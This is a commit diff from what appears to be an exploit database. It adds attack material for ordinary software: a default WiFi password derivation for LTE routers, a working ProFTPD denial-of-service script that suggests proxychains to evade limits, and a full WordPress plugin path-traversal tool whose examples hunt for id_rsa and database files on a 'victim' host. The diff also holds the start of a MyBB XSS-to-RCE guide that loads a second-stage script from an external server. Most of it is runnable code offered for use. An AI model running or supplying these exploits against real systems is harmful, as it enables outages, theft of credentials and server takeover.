DB: 2021-03-23
10 changes to exploits/shellcodes ProFTPD 1.3.7a - Remote Denial of Service SAPSetup Automatic Workstation Update Service 750 - 'NWSAPAutoWorkstationUpdateSvc' Unquoted Service Path Winpakpro 4.8 - 'GuardTourService' Unquoted Service Path Winpakpro 4.8 - 'ScheduleService' Unquoted Service Path Winpakpro 4.8 - 'WPCommandFileService' Unquoted Service Path MacPaw Encrypto 1.0.1 - 'Encrypto Service' Unquoted Service Path OSAS Traverse Extension 11 - 'travextensionhostsvc' Unquoted Service Path KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Weak Default WiFi Password Algorithm WordPress Plugin Delightful Downloads Jquery File Tree 1.6.6 - Path Traversal MyBB 1.8.25 - Chained Remote Command Execution
This commit is contained in:
Offensive Security
parent
d85f0c8d35
commit
7390cdc1c3
11 changed files with 949 additions and 0 deletions
82
exploits/hardware/remote/49695.txt
Normal file
82
exploits/hardware/remote/49695.txt
Normal file
|
|
@ -0,0 +1,82 @@
|
|||
# Exploit Title: KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Weak Default WiFi Password Algorithm
|
||||
# Date: 03.02.2021
|
||||
# Exploit Author: LiquidWorm
|
||||
# Vendor Homepage: http://www.kzbtech.com http://www.jatontec.com https://www.neotel.mk
|
||||
|
||||
Vendor: KZ Broadband Technologies, Ltd. | Jaton Technology, Ltd.
|
||||
Product web page: http://www.kzbtech.com | http://www.jatontec.com | https://www.neotel.mk
|
||||
http://www.jatontec.com/products/show.php?itemid=258
|
||||
http://www.jatontech.com/CAT12.html#_pp=105_564
|
||||
http://www.kzbtech.com/AM3300V.html
|
||||
https://neotel.mk/ostanati-paketi-2/
|
||||
|
||||
Affected version: Model | Firmware
|
||||
-------|---------
|
||||
JT3500V | 2.0.1B1064
|
||||
JT3300V | 2.0.1B1047
|
||||
AM6200M | 2.0.0B3210
|
||||
AM6000N | 2.0.0B3042
|
||||
AM5000W | 2.0.0B3037
|
||||
AM4200M | 2.0.0B2996
|
||||
AM4100V | 2.0.0B2988
|
||||
AM3500MW | 2.0.0B1092
|
||||
AM3410V | 2.0.0B1085
|
||||
AM3300V | 2.0.0B1060
|
||||
AM3100E | 2.0.0B981
|
||||
AM3100V | 2.0.0B946
|
||||
AM3000M | 2.0.0B21
|
||||
KZ7621U | 2.0.0B14
|
||||
KZ3220M | 2.0.0B04
|
||||
KZ3120R | 2.0.0B01
|
||||
|
||||
Summary: JT3500V is a most advanced LTE-A Pro CAT12 indoor Wi-Fi
|
||||
& VoIP CPE product specially designed to enable quick and easy
|
||||
LTE fixed data service deployment for residential and SOHO customers.
|
||||
It provides high speed LAN, Wi-Fi and VoIP integrated services
|
||||
to end users who need both bandwidth and multi-media data service
|
||||
in residential homes or enterprises. The device has 2 Gigabit LAN
|
||||
ports, 1 RJ11 analog phone port, high performance 4x4 MIMO and
|
||||
CA capabilities, 802.11b/g/n/ac dual band Wi-Fi, advanced routing
|
||||
and firewall software for security. It provides an effective
|
||||
all-in-one solution to SOHO or residential customers. It can
|
||||
deliver up to 1Gbps max data throughput which can be very
|
||||
competitive to wired broadband access service.
|
||||
|
||||
Desc: The device generates its SSID and password based on the
|
||||
WAN MAC address.
|
||||
|
||||
Tested on: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.1.3-OPEN
|
||||
Linux 2.6.36+ (mips)
|
||||
Mediatek APSoC SDK v4.3.1.0
|
||||
|
||||
|
||||
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||
@zeroscience
|
||||
|
||||
|
||||
Advisory ID: ZSL-2021-5638
|
||||
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5638.php
|
||||
|
||||
|
||||
03.02.2021
|
||||
|
||||
--
|
||||
|
||||
|
||||
Example defaults:
|
||||
|
||||
# ifconfig |grep HWaddr
|
||||
br0 Link encap:Ethernet HWaddr 6C:AD:EF:16:7C:5D
|
||||
br0:9 Link encap:Ethernet HWaddr 6C:AD:EF:16:7C:5D
|
||||
eth2 Link encap:Ethernet HWaddr 6C:AD:EF:16:7C:5D
|
||||
eth2.1 Link encap:Ethernet HWaddr 6C:AD:EF:16:7C:5D
|
||||
eth2.100 Link encap:Ethernet HWaddr 6C:AD:EF:16:7C:5D
|
||||
eth2.1000 Link encap:Ethernet HWaddr 6C:AD:EF:16:7C:5D
|
||||
eth2.2 Link encap:Ethernet HWaddr 6C:AD:EF:FF:00:01
|
||||
ra0 Link encap:Ethernet HWaddr 6C:AD:EF:5D:7C:5C
|
||||
rai0 Link encap:Ethernet HWaddr 6C:AD:EF:5E:7C:5C
|
||||
|
||||
SSID1=MyWiFi-167C5D
|
||||
SSID1=MyWiFi-5G-167C5D
|
||||
|
||||
WiFi password = EF167C5D
|
||||
101
exploits/multiple/dos/49697.py
Executable file
101
exploits/multiple/dos/49697.py
Executable file
|
|
@ -0,0 +1,101 @@
|
|||
# Exploit Title: ProFTPD 1.3.7a - Remote Denial of Service
|
||||
# Date: 22/03/2021
|
||||
# Exploit Author: xynmaps
|
||||
# Vendor Homepage: http://www.proftpd.org/
|
||||
# Software Link: https://github.com/proftpd/proftpd
|
||||
# Version: 1.3.7a
|
||||
# Tested on: Parrot Security OS 5.9.0
|
||||
|
||||
#-------------------------------#
|
||||
|
||||
#encoding=utf8
|
||||
#__author__ = XYN/Dump/NSKB3
|
||||
#ProFTPD Denial of Service exploit by XYN/Dump/NSKB3.
|
||||
"""
|
||||
ProFTPD only lets a certain amount of connections to be made to the server, so, by repeatedly making new connections to the server,
|
||||
you can block other legitimite users from making a connection to the server, if the the connections/ip isn't limited.
|
||||
(if it's limited, just run this script from different proxies using proxychains, and it will work)
|
||||
"""
|
||||
|
||||
import socket
|
||||
import sys
|
||||
import threading
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
banner = """
|
||||
._________________.
|
||||
| ProFTPD |
|
||||
| D o S |
|
||||
|_________________|
|
||||
|By XYN/DUMP/NSKB3|
|
||||
|_|_____________|_|
|
||||
|_|_|_|_____|_|_|_|
|
||||
|_|_|_|_|_|_|_|_|_|
|
||||
|
||||
"""
|
||||
usage = "{} <TARGET> <PORT(DEFAULT:21> <MAX_CONNS(DEFAULT:50)>".format(sys.argv[0])
|
||||
|
||||
def test(t,p):
|
||||
s = socket.socket()
|
||||
s.settimeout(10)
|
||||
try:
|
||||
s.connect((t, p))
|
||||
response = s.recv(65535)
|
||||
s.close()
|
||||
return 0
|
||||
except socket.error:
|
||||
print("Port {} is not open, please specify a port that is open.".format(p))
|
||||
sys.exit()
|
||||
def attack(targ, po, id):
|
||||
try:
|
||||
subprocess.Popen("ftp {0} {1}".format(targ, po), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
#print("Worker {} running".format(id))
|
||||
except OSError: pass
|
||||
def main():
|
||||
global target, port, start
|
||||
print banner
|
||||
try:
|
||||
target = sys.argv[1]
|
||||
except:
|
||||
print usage
|
||||
sys.exit()
|
||||
try:
|
||||
port = int(sys.argv[2])
|
||||
except:
|
||||
port = 21
|
||||
try:
|
||||
conns = int(sys.argv[3])
|
||||
except:
|
||||
conns = 50
|
||||
print("[!] Testing if {0}:{1} is open".format(target, port))
|
||||
test(target, port)
|
||||
print("[+] Port {} open, starting attack...".format(port))
|
||||
time.sleep(2)
|
||||
print("[+] Attack started on {0}:{1}!".format(target, port))
|
||||
def loop(target, port, conns):
|
||||
global start
|
||||
threading.Thread(target=timer).start()
|
||||
while 1:
|
||||
for i in range(1, conns + 3):
|
||||
t = threading.Thread(target=attack, args=(target,port,i,))
|
||||
t.start()
|
||||
if i > conns + 2:
|
||||
t.join()
|
||||
break
|
||||
loop()
|
||||
|
||||
t = threading.Thread(target=loop, args=(target, port, conns,))
|
||||
t.start()
|
||||
|
||||
def timer():
|
||||
start = time.time()
|
||||
while 1:
|
||||
if start < time.time() + float(900): pass
|
||||
else:
|
||||
subprocess.Popen("pkill ftp", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
t = threading.Thread(target=loop, args=(target, port,))
|
||||
t.start()
|
||||
break
|
||||
|
||||
main()
|
||||
353
exploits/php/webapps/49693.php
Normal file
353
exploits/php/webapps/49693.php
Normal file
|
|
@ -0,0 +1,353 @@
|
|||
# Exploit Title: WordPress Plugin Delightful Downloads Jquery File Tree 1.6.6 - Path Traversal
|
||||
# Date: 19/03/2021
|
||||
# Exploit Author: Nicholas Ferreira
|
||||
# Vendor Homepage: https://github.com/A5hleyRich/delightful-downloads
|
||||
# Version: <=1.6.6
|
||||
# Tested on: Debian 11
|
||||
# CVE : CVE-2017-1000170
|
||||
# PHP version (exploit): 7.3.27
|
||||
# POC: curl --data "dir=/etc/" http://example.com/wp-content/plugins/delightful-downloads/assets/vendor/jqueryFileTree/connectors/jqueryFileTree.php
|
||||
|
||||
<?php
|
||||
|
||||
$vuln_file = "/wp-content/plugins/delightful-downloads/assets/vendor/jqueryFileTree/connectors/jqueryFileTree.php"; // do not change
|
||||
|
||||
$agents = ["Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.0; Trident/3.0)",
|
||||
"Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X; sl-SI) AppleWebKit/531.37.3 (KHTML, like Gecko) Version/4.0.5 Mobile/8B119 Safari/6531.37.3",
|
||||
"Mozilla/5.0 (Macintosh; PPC Mac OS X 10_6_6 rv:6.0) Gecko/20120629 Firefox/35.0",
|
||||
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.1)",
|
||||
"Mozilla/5.0 (iPad; CPU OS 7_2_2 like Mac OS X; sl-SI) AppleWebKit/531.5.4 (KHTML, like Gecko) Version/3.0.5 Mobile/8B113 Safari/6531.5.4",
|
||||
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0) AppleWebKit/5321 (KHTML, like Gecko) Chrome/37.0.837.0 Mobile Safari/5321",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 6.0) AppleWebKit/535.12.4 (KHTML, like Gecko) Version/5.1 Safari/535.12.4",
|
||||
"Mozilla/5.0 (iPad; CPU OS 8_1_1 like Mac OS X; en-US) AppleWebKit/531.18.4 (KHTML, like Gecko) Version/4.0.5 Mobile/8B118 Safari/6531.18.4",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/531.12.4 (KHTML, like Gecko) Version/4.0.3 Safari/531.12.4",
|
||||
"Mozilla/5.0 (compatible; MSIE 5.0; Windows 98; Win 9x 4.90; Trident/5.0)",
|
||||
"Opera/8.98 (Windows NT 5.0; en-US) Presto/2.11.268 Version/10.00",
|
||||
"Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X; sl-SI) AppleWebKit/534.16.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B111 Safari/6534.16.2",
|
||||
"Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100107 Firefox/36.0",
|
||||
"Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.23.6 (KHTML, like Gecko) Version/4.0.2 Safari/535.23.6",
|
||||
"Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20120805 Firefox/36.0",
|
||||
"Mozilla/5.0 (X11; Linux x86_64; rv:7.0) Gecko/20130123 Firefox/37.0",
|
||||
"Mozilla/5.0 (compatible; MSIE 5.0; Windows NT 6.0; Trident/4.1)",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_9 rv:6.0) Gecko/20190226 Firefox/36.0",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 5.0) AppleWebKit/533.39.1 (KHTML, like Gecko) Version/4.0.3 Safari/533.39.1",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_1 rv:4.0) Gecko/20160603 Firefox/37.0",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/5341 (KHTML, like Gecko) Chrome/37.0.831.0 Mobile Safari/5341",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_9 rv:5.0; en-US) AppleWebKit/532.20.3 (KHTML, like Gecko) Version/4.0 Safari/532.20.3",
|
||||
"Opera/9.74 (X11; Linux x86_64; sl-SI) Presto/2.10.265 Version/12.00",
|
||||
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/5340 (KHTML, like Gecko) Chrome/37.0.813.0 Mobile Safari/5340",
|
||||
"Opera/9.60 (Windows NT 6.2; en-US) Presto/2.9.333 Version/11.00",
|
||||
"Mozilla/5.0 (Macintosh; PPC Mac OS X 10_8_2) AppleWebKit/5362 (KHTML, like Gecko) Chrome/40.0.862.0 Mobile Safari/5362",
|
||||
"Opera/9.74 (Windows NT 5.0; en-US) Presto/2.8.188 Version/10.00",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 4.0) AppleWebKit/531.17.1 (KHTML, like Gecko) Version/5.1 Safari/531.17.1",
|
||||
"Opera/9.93 (Windows CE; sl-SI) Presto/2.12.174 Version/12.00",
|
||||
"Opera/8.19 (X11; Linux i686; en-US) Presto/2.12.301 Version/10.00",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/532.7.2 (KHTML, like Gecko) Version/4.0.4 Safari/532.7.2",
|
||||
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)",
|
||||
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 4.0; Trident/3.0)",
|
||||
"Opera/9.71 (X11; Linux x86_64; en-US) Presto/2.12.270 Version/12.00",
|
||||
"Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2; Trident/4.1)",
|
||||
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2 rv:4.0) Gecko/20130506 Firefox/37.0",
|
||||
"Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/531.44.7 (KHTML, like Gecko) Version/4.0.4 Safari/531.44.7",
|
||||
"Mozilla/5.0 (Windows NT 6.1; en-US; rv:1.9.1.20) Gecko/20110731 Firefox/35.0",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/5341 (KHTML, like Gecko) Chrome/37.0.831.0 Mobile Safari/5341",
|
||||
"Opera/9.74 (X11; Linux x86_64; sl-SI) Presto/2.10.265 Version/12.00",
|
||||
"Opera/9.60 (Windows NT 6.2; en-US) Presto/2.9.333 Version/11.00",
|
||||
"Mozilla/5.0 (iPad; CPU OS 7_0_2 like Mac OS X; en-US) AppleWebKit/535.7.5 (KHTML, like Gecko) Version/4.0.5 Mobile/8B115 Safari/6535.7.5",
|
||||
"Mozilla/5.0 (Macintosh; PPC Mac OS X 10_8_2) AppleWebKit/5362 (KHTML, like Gecko) Chrome/40.0.862.0 Mobile Safari/5362",
|
||||
"Opera/9.74 (Windows NT 5.0; en-US) Presto/2.8.188 Version/10.00",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 4.0) AppleWebKit/531.17.1 (KHTML, like Gecko) Version/5.1 Safari/531.17.1",
|
||||
"Opera/9.93 (Windows CE; sl-SI) Presto/2.12.174 Version/12.00",
|
||||
"Mozilla/5.0 (Windows; U; Windows 98; Win 9x 4.90) AppleWebKit/535.13.4 (KHTML, like Gecko) Version/4.0.4 Safari/535.13.4",
|
||||
"Opera/8.19 (X11; Linux i686; en-US) Presto/2.12.301 Version/10.00",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/532.7.2 (KHTML, like Gecko) Version/4.0.4 Safari/532.7.2",
|
||||
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)",
|
||||
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 4.0; Trident/3.0)",
|
||||
"Opera/9.71 (X11; Linux x86_64; en-US) Presto/2.12.270 Version/12.00",
|
||||
"Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2; Trident/4.1)",
|
||||
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2 rv:4.0) Gecko/20130506 Firefox/37.0",
|
||||
"Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/531.44.7 (KHTML, like Gecko) Version/4.0.4 Safari/531.44.7",
|
||||
"Mozilla/5.0 (Windows NT 6.1; en-US; rv:1.9.1.20) Gecko/20110731 Firefox/35.0",
|
||||
"Opera/8.11 (X11; Linux x86_64; en-US) Presto/2.11.165 Version/11.00",
|
||||
"Mozilla/5.0 (iPad; CPU OS 7_2_1 like Mac OS X; en-US) AppleWebKit/532.33.6 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6532.33.6",
|
||||
"Opera/9.71 (X11; Linux x86_64; sl-SI) Presto/2.10.180 Version/11.00",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_1 rv:5.0) Gecko/20130122 Firefox/36.0",
|
||||
"Mozilla/5.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Trident/3.0)",
|
||||
"Mozilla/5.0 (compatible; MSIE 10.0; Windows 95; Trident/4.1)",
|
||||
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.1)",
|
||||
"Opera/8.33 (X11; Linux x86_64; en-US) Presto/2.8.320 Version/12.00",
|
||||
"Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20121221 Firefox/36.0",
|
||||
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_9 rv:4.0) Gecko/20200625 Firefox/35.0",
|
||||
"Mozilla/5.0 (Windows NT 6.0; sl-SI; rv:1.9.0.20) Gecko/20200505 Firefox/37.0",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 4.0) AppleWebKit/532.44.4 (KHTML, like Gecko) Version/5.0 Safari/532.44.4",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_9 rv:3.0) Gecko/20201229 Firefox/37.0",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/531.17.6 (KHTML, like Gecko) Version/4.1 Safari/531.17.6",
|
||||
"Mozilla/5.0 (X11; Linux i686) AppleWebKit/5311 (KHTML, like Gecko) Chrome/38.0.877.0 Mobile Safari/5311",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 6.2) AppleWebKit/531.4.3 (KHTML, like Gecko) Version/5.1 Safari/531.4.3",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_0 rv:4.0) Gecko/20140118 Firefox/35.0",
|
||||
"Mozilla/5.0 (Windows 95) AppleWebKit/5330 (KHTML, like Gecko) Chrome/36.0.847.0 Mobile Safari/5330",
|
||||
"Opera/8.39 (Windows 98; sl-SI) Presto/2.9.202 Version/11.00",
|
||||
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5 rv:3.0; en-US) AppleWebKit/534.11.4 (KHTML, like Gecko) Version/5.0 Safari/534.11.4"];
|
||||
|
||||
|
||||
function post_request($url, $data, $random_agent = 0){
|
||||
global $agents;
|
||||
$ch = curl_init();
|
||||
curl_setopt($ch, CURLOPT_URL, $url);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
|
||||
curl_setopt($ch, CURLOPT_POST, true);
|
||||
curl_setopt($ch, CURLOPT_POSTFIELDS, array("dir" => $data));
|
||||
#curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8080"); //debug w/ burp
|
||||
if($random_agent){
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, $agents[rand(0,count($agents)-1)]);
|
||||
}
|
||||
|
||||
$output = curl_exec($ch);
|
||||
curl_close($ch);
|
||||
return $output;
|
||||
}
|
||||
|
||||
function parse_dir($str){ // by raina77ow =)
|
||||
$contents = array();
|
||||
$startFrom = $contentStart = $contentEnd = 0;
|
||||
while (false !== ($contentStart = strpos($str, 'rel="', $startFrom))){
|
||||
$contentStart += 5;
|
||||
$contentEnd = strpos($str, '">', $contentStart);
|
||||
if (false === $contentEnd){
|
||||
break;
|
||||
}
|
||||
$contents[] = substr($str, $contentStart, $contentEnd - $contentStart);
|
||||
$startFrom = $contentEnd + 2;
|
||||
}
|
||||
return $contents;
|
||||
}
|
||||
|
||||
|
||||
function list_files($url,$path, $recursive=0,$filter){
|
||||
global $vuln_file;
|
||||
global $recursive;
|
||||
global $random_agent;
|
||||
$exts = "";
|
||||
$extensions = "";
|
||||
$files = "";
|
||||
(count($filter) > 0) ? $has_filter = 1 : $has_filter = 0;
|
||||
|
||||
$parsed = parse_dir(post_request($url.$vuln_file, $path, $random_agent)); // array tree
|
||||
|
||||
foreach($parsed as $file_or_folder){
|
||||
if($has_filter){
|
||||
foreach($filter as $filtered){
|
||||
if(strpos($file_or_folder, $filtered) !== false){ //if the current file contains any of the filter
|
||||
echo " ".$file_or_folder."\n";
|
||||
continue;
|
||||
}
|
||||
if(preg_match_all("#^\/.*\/$#", $file_or_folder)){ // is a folder
|
||||
if($recursive){ //if recursive flag is set, enter on each folder and do it
|
||||
list_files($url, $file_or_folder, $recursive, $filter);
|
||||
}
|
||||
continue 2; // continue the outermost foreach
|
||||
}
|
||||
}
|
||||
continue; // if has filter, always restart the loop here
|
||||
}
|
||||
|
||||
if(preg_match_all("#^\/.*\/$#", $file_or_folder)){ // is a folder
|
||||
if($recursive){ //if recursive flag is set, enter on each folder and do it
|
||||
list_files($url, $file_or_folder, $recursive, $filter);
|
||||
}else{
|
||||
echo " ".$file_or_folder."\n"; //if it's not to be recursive, just print the folder name
|
||||
}
|
||||
}else{ //is a file
|
||||
echo " ".$file_or_folder."\n";
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function alert_user($target,$path, $recursive, $filter){ //scan the root of the server recursivelly can really be a pain
|
||||
if($path == "/" && $recursive == 1){
|
||||
echo red(" [i] WARNING: Scanning the root of the webserver recursivelly can
|
||||
exceed the timeout limit, block your IP or even take down the server.
|
||||
Are you sure you want to continue? [y/N] ");
|
||||
$handle = fopen ("php://stdin","r");
|
||||
$line = fgets($handle);
|
||||
if(trim(strtoupper($line)) != 'Y'){
|
||||
echo "\n Aborted. Try running me without the recursion flag\n\n";
|
||||
exit;
|
||||
}
|
||||
fclose($handle);
|
||||
echo cyan("\n\n Ok, don't say I didn't warn you...\n");
|
||||
}
|
||||
list_files($target,$path, $recursive, $filter);
|
||||
}
|
||||
|
||||
|
||||
############################################################
|
||||
|
||||
function green($str){
|
||||
return "\e[92m".$str."\e[0m";
|
||||
}
|
||||
function red($str){
|
||||
return "\e[91m".$str."\e[0m";
|
||||
}
|
||||
function yellow($str){
|
||||
return "\e[93m".$str."\e[0m";
|
||||
}
|
||||
function cyan($str){
|
||||
return "\e[96m".$str."\e[0m";
|
||||
}
|
||||
|
||||
function banner(){
|
||||
echo "
|
||||
_____ _ _ _ _ __ _ _______
|
||||
| __ \ | (_) | | | | / _| | |__ __|
|
||||
| | | | ___| |_ __ _| |__ | |_| |_ _ _| | | |_ __ ___ ___
|
||||
| | | |/ _ \ | |/ _` | _ \| __| _| | | | | | | ´__/ _ \/ _ \
|
||||
| |__| | __/ | | (_| | | | | |_| | | |_| | | | | | | __/ __/
|
||||
|_____/ \___|_|_|\__, |_| |_|\__|_| \__,_|_| |_|_| \___|\___|
|
||||
__/ | ".green("Coder: ").yellow("Nicholas Ferreira")."
|
||||
|___/ 0x7359
|
||||
|
||||
".cyan("Delightful Downloads - Jquery File Tree")."
|
||||
Unauthenticated Path Traversal exploit ".
|
||||
red("\n (CVE-2017-1000170)")."
|
||||
|
||||
";
|
||||
}
|
||||
|
||||
|
||||
|
||||
// ======================= CHECKING =======================
|
||||
|
||||
|
||||
|
||||
$short_args = "u:h::p:r::f:a::";
|
||||
$long_args = array("url:","help::","path:","recursive::","filter:","random-agent::");
|
||||
$options = getopt($short_args, $long_args);
|
||||
|
||||
if($argc == 1){
|
||||
die(banner()." Usage: php xpl_jqueryFileTree.php -u url [-x extensions] [-p path] [-r] [-h] [-a]\n\n Help: -h or --help\n\n");
|
||||
}
|
||||
|
||||
if(isset($options['h']) || isset($options['help'])){
|
||||
banner();
|
||||
die( " Usage: php ".$argv[0]." -u url [-f extensions/filenames] [-p path] [-r] [-h] [-a]
|
||||
|
||||
-h, --help: Show this message
|
||||
-u, --url: URL of target
|
||||
-a, --random-agent: Use random user agents
|
||||
-f, --filter: Name of files or extensions to search for (separated by comma)
|
||||
-p, --path: The full path from which the filenames will be read (default: /)
|
||||
-r, --recursive: Generates the tree recursivelly (be careful)
|
||||
|
||||
e.g.: ".cyan($argv[0]." -u victim.com -f .zip,.sql -p /var/www/html/backup/admin/ -r")."
|
||||
|
|
||||
\-> This will search for all .zip and .sql files inside victim.com/backup/admin and its subpaths
|
||||
(You must provide the dot to indicate it's an extension)
|
||||
|
||||
".cyan($argv[0]." -u victim.com -f .log,id_rsa -a -r")."
|
||||
|
|
||||
\-> This will search for all files named \"id_rsa\" or having the extension
|
||||
\".log\" within all folders of the server, with random user-agents
|
||||
|
||||
".yellow("Tip: use \"php ..... | tee output\" to save the result to an output file")."
|
||||
|
||||
|
||||
");
|
||||
|
||||
}
|
||||
|
||||
$random_agent = 0;
|
||||
if(isset($options['a'])){
|
||||
$random_agent = 1;
|
||||
}elseif(isset($options['random-agent'])){
|
||||
$random_agent = 1;
|
||||
}
|
||||
|
||||
$target = "";
|
||||
if(isset($options['u'])){
|
||||
$target = $options['u'];
|
||||
}elseif(isset($options['url'])){
|
||||
$target = $options['url'];
|
||||
}
|
||||
|
||||
$recursive = 0;
|
||||
if(isset($options['r'])){
|
||||
$recursive = 1;
|
||||
}elseif(isset($options['recursive'])){
|
||||
$recursive = 1;
|
||||
}
|
||||
|
||||
$path = "/";
|
||||
if(isset($options['p'])){
|
||||
$path = $options['p'];
|
||||
}elseif(isset($options['path'])){
|
||||
$path = $options['p'];
|
||||
}
|
||||
|
||||
|
||||
if($path !== "/"){
|
||||
if(!preg_match("#^\/.*\/$#", $path)){
|
||||
$path = str_replace("//", "/", "/".$path."/"); // $path must be of the form /<path>/ for this to work, so lets force it
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
$extensions = "";
|
||||
if(isset($options['f'])){
|
||||
$extensions = $options['f']; //strings
|
||||
}elseif(isset($options['filter'])){
|
||||
$extensions = $options['filter']; //string
|
||||
}
|
||||
|
||||
$filter = array();
|
||||
|
||||
if($extensions !== ""){
|
||||
$filter = explode(",", $extensions);
|
||||
}
|
||||
|
||||
|
||||
// ========================= END CHECKING ==========================
|
||||
|
||||
function is_vulnerable($url){
|
||||
global $vuln_file;
|
||||
global $random_agent;
|
||||
global $filter;
|
||||
|
||||
echo " [*] Target: ".$url."\n";
|
||||
if(count($filter) > 0){
|
||||
echo " [*] Filter: ".implode(", ", $filter)."\n\n";
|
||||
}
|
||||
echo cyan(" [i] Checking if the target is vulnerable...\n");
|
||||
$ch = curl_init();
|
||||
curl_setopt($ch, CURLOPT_URL, $url.$vuln_file);
|
||||
curl_setopt($ch, CURLOPT_NOBODY, true); // HEAD request to vulnerable file
|
||||
curl_exec($ch);
|
||||
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
||||
curl_close($ch);
|
||||
|
||||
if(substr($code,0,1) == 2){ // 2xx
|
||||
echo yellow(" [i] HTTP response of vulnerable file is 2xx. May be vulnerable!\n");
|
||||
$post = post_request($url.$vuln_file, "/", $random_agent);
|
||||
if(preg_match_all("/jqueryfiletree.*(bin|boot|dev|etc|var|usr|windows|users|temp)/", strtolower($post))){
|
||||
echo green(" [+] Target is vulnerable! Getting file list...\n\n");
|
||||
return true;
|
||||
}
|
||||
echo red(" [-] Target is not vulnerable... =(\n\n");
|
||||
}else{
|
||||
echo red(" [-] Could not find a valid vulnerable file. Maybe it doesn't exist,
|
||||
you don't have permission to read it or it is in another directory.\n");
|
||||
}
|
||||
return false;
|
||||
}
|
||||
banner();
|
||||
|
||||
if(is_vulnerable($target)){
|
||||
global $filter;
|
||||
alert_user($target,$path, $recursive, $filter);
|
||||
echo green("\n [+] Done!\n\n");
|
||||
}
|
||||
|
||||
?>
|
||||
217
exploits/php/webapps/49696.js
Normal file
217
exploits/php/webapps/49696.js
Normal file
|
|
@ -0,0 +1,217 @@
|
|||
# Exploit Title: MyBB 1.8.25 - Chained Remote Command Execution
|
||||
# Exploit Author: SivertPL (kroppoloe@protonmail.ch)
|
||||
# Date: 19.03.2021
|
||||
# Description: Nested autourl Stored XSS -> templateset second order SQL Injection leading to RCE through improper string interpolation in eval().
|
||||
# Software Link: https://resources.mybb.com/downloads/mybb_1825.zip
|
||||
# CVE: CVE-2021-27889, CVE-2021-27890
|
||||
|
||||
Reference: https://portswigger.net/daily-swig/chained-vulnerabilities-used-to-take-control-of-mybb-forums
|
||||
|
||||
The exploit requires the target administrator to have a valid ACP session.
|
||||
|
||||
Proof of Concept Video: https://www.youtube.com/watch?v=xU1Y9_bgoFQ
|
||||
|
||||
Guide:
|
||||
|
||||
1) In order to escape various checks, the XSS has to download this .js file from an external server, and then execute it.
|
||||
|
||||
Please replace the source of the following script node with an URL pointing to the second stage .js file (this file) to be downloaded by the target.
|
||||
|
||||
document.write('<script src=http://localhost:8000/second_stage.js></script>');
|
||||
|
||||
2) Please encode the aforementioned JS payload with String.fromCharCode, to achieve constraint-less JavaScript execution environment.
|
||||
|
||||
You can use this website: https://eve.gd/2007/05/23/string-fromcharcode-encoder/
|
||||
|
||||
3) Put the resulting encoded payload in the nested autourl vulnerability vector:
|
||||
|
||||
[img]http://xyzsomething.com/image?)http://x.com/onerror=<FCC ENCODED PAYLOAD>;//[/img]
|
||||
|
||||
4) The final payload should look like this:
|
||||
|
||||
